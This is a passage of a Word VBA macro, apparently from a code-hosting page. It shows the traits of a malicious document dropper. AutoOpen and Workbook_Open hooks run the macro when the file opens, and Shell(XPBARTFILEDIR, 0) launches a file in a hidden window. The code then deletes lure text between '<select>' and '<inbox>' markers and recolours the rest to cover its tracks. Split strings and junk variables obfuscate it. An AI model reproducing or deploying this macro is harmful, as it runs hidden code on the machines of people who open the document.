|
|
||||||
|
retVal = Shell(XPBARTFILEDIR, 0)
|
||||||
|
|
||||||
|
|
||||||
|
End If
|
||||||
|
|
||||||
|
|
||||||
|
findTest
|
||||||
|
secondTest
|
||||||
|
For Each myStoryRange In ActiveDocument.StoryRanges
|
||||||
|
With myStoryRange.Find
|
||||||
|
.Text = "<" & "sel" & "ect>"
|
||||||
|
.Replacement.Text = " "
|
||||||
|
.Wrap = wdFindContinue
|
||||||
|
.Execute Replace:=wdReplaceAll
|
||||||
|
End With
|
||||||
|
Next myStoryRange
|
||||||
|
|
||||||
|
For Each myStoryRange In ActiveDocument.StoryRanges
|
||||||
|
With myStoryRange.Find
|
||||||
|
.Text = "</s" & "ele" & "ct>"
|
||||||
|
.Replacement.Text = " "
|
||||||
|
.Wrap = wdFindContinue
|
||||||
|
.Execute Replace:=wdReplaceAll
|
||||||
|
End With
|
||||||
|
Next myStoryRange
|
||||||
|
|
||||||
|
For Each myStoryRange In ActiveDocument.StoryRanges
|
||||||
|
With myStoryRange.Find
|
||||||
|
.Text = "<" & "in" & "box>"
|
||||||
|
.Replacement.Text = " "
|
||||||
|
.Wrap = wdFindContinue
|
||||||
|
.Execute Replace:=wdReplaceAll
|
||||||
|
End With
|
||||||
|
Next myStoryRange
|
||||||
|
|
||||||
|
For Each myStoryRange In ActiveDocument.StoryRanges
|
||||||
|
With myStoryRange.Find
|
||||||
|
.Text = "</" & "in" & "box>"
|
||||||
|
.Replacement.Text = " "
|
||||||
|
.Wrap = wdFindContinue
|
||||||
|
.Execute Replace:=wdReplaceAll
|
||||||
|
End With
|
||||||
|
Next myStoryRange
|
||||||
|
|
||||||
|
|
||||||
|
End Sub
|
||||||
|
Sub WaitFor(NumOfSeconds As Long)
|
||||||
|
Dim SngSec As Long
|
||||||
|
SngSec = Timer + NumOfSeconds
|
||||||
|
|
||||||
|
Do While Timer < SngSec
|
||||||
|
DoEvents
|
||||||
|
Loop
|
||||||
|
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub AutoOpen()
|
||||||
|
Auto_Open
|
||||||
|
End Sub
|
||||||
|
Sub Workbook_Open()
|
||||||
|
Auto_Open
|
||||||
|
End Sub
|
||||||
|
Sub findTest()
|
||||||
|
Dim firstTerm As String
|
||||||
|
Dim secondTerm As String
|
||||||
|
Dim rrtt As Range
|
||||||
|
Dim selRange As Range
|
||||||
|
Dim selectedText As String
|
||||||
|
|
||||||
|
Set rrtt = ActiveDocument.Range
|
||||||
|
firstTerm = "<se" & "lect>"
|
||||||
|
secondTerm = "</sel" & "ect>"
|
||||||
|
ASKASAIEJ = "ask as8d j vnbnfghfthfth sad"
|
||||||
|
With rrtt.Find
|
||||||
|
.Text = firstTerm
|
||||||
|
.MatchWholeWord = True
|
||||||
|
.Execute
|
||||||
|
ASKUKKIEJ = "aasdlkasjdask as8d j vnbnfghfthfth sad"
|
||||||
|
rrtt.Collapse direction:=wdCollapseEnd
|
||||||
|
Set selRange = ActiveDocument.Range
|
||||||
|
selRange.Start = rrtt.End
|
||||||
|
.Text = secondTerm
|
||||||
|
.MatchWholeWord = True
|
||||||
|
.Execute
|
||||||
|
ASKSASADW = "asjldklas"
|
||||||
|
rrtt.Collapse direction:=wdCollapseStart
|
||||||
|
selRange.End = rrtt.Start
|
||||||
|
selectedText = selRange.Delete
|
||||||
|
End With
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub secondTest()
|
||||||
|
Dim firstTerm As String
|
||||||
|
Dim secondTerm As String
|
||||||
|
Dim myRanget As Range
|
||||||
|
Dim yytt As Range
|
||||||
|
Dim selRanget As Range
|
||||||
|
Dim selectedTextt As String
|
||||||
|
|
||||||
|
Set yytt = ActiveDocument.Range
|
||||||
|
firstTerm = "<in" & "box>"
|
||||||
|
secondTerm = "</in" & "box>"
|
||||||
|
ASKIEJSASAHBDJ = "ask as8d j asdasl;a adfsdvsdgsdfsdf sad"
|
||||||
|
With yytt.Find
|
||||||
|
.Text = firstTerm
|
||||||
|
.MatchWholeWord = True
|
||||||
|
.Execute
|
||||||
|
ASKIEJ = "ask as8d j vnbnfghfthfth sad"
|
||||||
|
yytt.Collapse direction:=wdCollapseEnd
|
||||||
|
ASKIEJSHBDJ = "askasda as8d j asdaasdassl;a adfsdvsdgsdfsdf sad"
|
||||||
|
Set selRanget = ActiveDocument.Range
|
||||||
|
selRanget.Start = yytt.End
|
||||||
|
.Text = secondTerm
|
||||||
|
.MatchWholeWord = True
|
||||||
|
.Execute
|
||||||
|
ASAKJSKIEJSHBDJ = "ask as8d j asdaasdasdassl;a adfsdvsdgsdfsdf sad"
|
||||||
|
yytt.Collapse direction:=wdCollapseStart
|
||||||
|
selRanget.End = yytt.Start
|
||||||
|
selectedTextt = selRanget
|
||||||
|
selRanget.Font.Color = wdColorBlack
|
||||||
|
End With
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
|
||||||
Reference in New Issue
Block a user